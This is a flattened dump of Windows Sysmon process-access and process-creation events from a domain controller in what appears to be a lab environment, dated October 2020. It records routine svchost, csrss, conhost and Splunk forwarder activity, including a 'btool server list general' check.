09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002075Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002074Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002073Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002072Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002071Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002070Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002069Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002068Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28D3-5F80-5900-000000007F01}3764C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002067Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28D3-5F80-5800-000000007F01}40163752C:\Windows\system32\cmd.exe{A5F018FF-28D3-5F80-5900-000000007F01}3764C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002066Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.270{A5F018FF-28D3-5F80-5900-000000007F01}3764C:\Program Files\SplunkUniversalForwarder\bin\btool.exe8.0.2btoolsplunk ApplicationSplunk Inc.btool.exebtool server list general --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B{A5F018FF-28D3-5F80-5800-000000007F01}4016C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c btool server list general --no-log 10341000x80000000000000002065Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D3-5F80-5800-000000007F01}4016C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002064Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002063Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002062Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002061Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002060Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002059Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002058Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002057Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002056Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002055Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-28D3-5F80-5800-000000007F01}4016C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002054Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28D1-5F80-4B00-000000007F01}38523916C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe{A5F018FF-28D3-5F80-5800-000000007F01}4016C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+43bc6|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+6665|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+18319|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002053Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.265{A5F018FF-28D3-5F80-5800-000000007F01}4016C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c btool server list general --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28D1-5F80-4B00-000000007F01}3852C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 10341000x80000000000000002052Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.231{A5F018FF-28D2-5F80-5700-000000007F01}39924000C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e675|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f344c|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002248Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.778{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D4-5F80-6600-000000007F01}3764C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002247Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002246Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 